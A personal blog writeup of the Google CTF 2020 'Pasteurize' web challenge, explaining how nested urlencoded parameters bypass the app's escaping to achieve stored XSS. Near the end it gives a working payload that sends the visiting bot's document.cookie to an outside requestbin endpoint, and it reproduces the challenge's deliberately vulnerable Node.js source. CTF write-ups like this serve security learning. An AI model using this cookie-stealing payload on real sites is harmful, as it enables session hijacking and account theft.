Armin Mesicpersonal blog

This is a writeup for the beginners web challenge Pasteurize from the 2020 Google CTF.

You get a link to a website and on the homepage is just an input field with a submit button. After entering some text and submitting it you’re being redirected to a second page. Your previous input is being displayed and you can click onshare with TJMike🎤andback.

It seems like a XSS Challenge, so I simply entered<b>foo</b>and it worked. The next step is to craft a JS payload, tried it with a simple<script>alert(1)</script>, but it didn’t succeed, nothing was displayed. I though you need to craft a XSS payload and then click onshare with TJMike🎤and somehow extract his cookies.

So I decided to take a look at the source code, and we can see a few interesting lines

  1. Following comment
    <!--  TODO: Fix b/1337 in /source that could lead to XSS  -->
    
  2. Following javascript
    
         const note = "\x3Cscript\x3Ealert(1)\x3C/script\x3E";
         const note_id = "7fc87101-04e5-48cb-b461-cadf9d029f02";
         const note_el = document.getElementById('note-content');
         const note_url_el = document.getElementById('note-title');
         const clean = DOMPurify.sanitize(note);
         note_el.innerHTML = clean;
         note_url_el.href = `/${note_id}`;
         note_url_el.innerHTML = `${note_id}`;
    

It seems our input<script>alert(1)</script>is escaped to\x3Cscript\x3Ealert(1)\x3C/script\x3Eand then it’s sanitized withDOMPurify. I’ve quickly checked DOMPurify for any exploits but didn’t find anything for the used version

Now I was stuck, so I got back to the comment<!-- TODO: Fix b/1337 in /source that could lead to XSS -->, I tried to open the the/sourcepage and it worked and we got the source code of the node app serving the page.

I’ve attached it at the end of the writeup.

I took a look at the source code and found

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

so all our input was escaped, before saved to the database. At this point I started to look for XSS exploits without any use of the script tag but didn’t success, due to the escape at the backend and the sanitization at the frontend.

I was pretty clueless, so I’ve hoped that the following snippet was a hint.

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));

After a few google searches I found out it allows us to send nested json objects. So I gave it a shot and used Firefox to change the request when clicking thesubmitbutton. I change the request payload fromcontent=footocontent[foo]=bar. After some time trying to escape the Payload properly my proof of concept looked likecontent[;alert(1);]=;;.

For the last step we need to send the cookies from TJMike, I’ve usedrequestbin.comto collect any request made by TJMike.

So in our last step we just need to replacealert(1)with


fetch(
    requestbinur, 
    {
        method: 'POST',
        body: JSON.stringify(document.cookie),
        headers: {'Content-type': 'application/json; charset=UTF-8'}
    }
)

So finally our request looks likecontent[;fetch(requestbinur, {method: 'POST',body: JSON.stringify(document.cookie),headers: {'Content-type': 'application/json; charset=UTF-8'}});]=;;and on our request bin we can see the flag being displayed.

Source code from/source

const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;

/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
  'hl': 'en',
  callback: 'captcha_cb'
});

/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
  etag: true,
  maxAge: 300 * 1000,
}));

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));

/* Just a datastore. I would be surprised if it's fragile. */
class Database {
  constructor() {
    this._db = new Datastore({
      namespace: 'littlethings'
    });
  }
  add_note(note_id, content) {
    const note = {
      note_id: note_id,
      owner: 'guest',
      content: content,
      public: 1,
      created: Date.now()
    }
    return this._db.save({
      key: this._db.key(['Note', note_id]),
      data: note,
      excludeFromIndexes: ['content']
    });
  }
  async get_note(note_id) {
    const key = this._db.key(['Note', note_id]);
    let note;
    try {
      note = await this._db.get(key);
    } catch (e) {
      console.error(e);
      return null;
    }
    if (!note || note.length < 1) {
      return null;
    }
    note = note[0];
    if (note === undefined || note.public !== 1) {
      return null;
    }
    return note;
  }
}

const DB = new Database();

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

/* o/ */
app.get('/', (req, res) => {
  res.render('index');
});

/* \o/ [x] */
app.post('/', async (req, res) => {
  const note = req.body.content;
  if (!note) {
    return res.status(500).send("Nothing to add");
  }
  if (note.length > 2000) {
    res.status(500);
    return res.send("The note is too big");
  }

  const note_id = uuidv4();
  try {
    const result = await DB.add_note(note_id, note);
    if (!result) {
      res.status(500);
      console.error(result);
      return res.send("Something went wrong...");
    }
  } catch (err) {
    res.status(500);
    console.error(err);
    return res.send("Something went wrong...");
  }
  await utils.sleep(500);
  return res.redirect(`/${note_id}`);
});

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);

  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }

  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});

/* Share your pastes with TJMike🎤 */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
  const id = req.params.id;

  /* No robots please! */
  if (req.recaptcha.error) {
    console.error(req.recaptcha.error);
    return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
  }

  /* Make TJMike visit the paste */
  utils.visit(id, req);

  res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
});

/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
  res.set("Content-type", "text/plain; charset=utf-8");
  res.sendFile(__filename);
});

/* Let it begin! */
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`App listening on port ${PORT}`);
  console.log('Press Ctrl+C to quit.');
});

module.exports = app;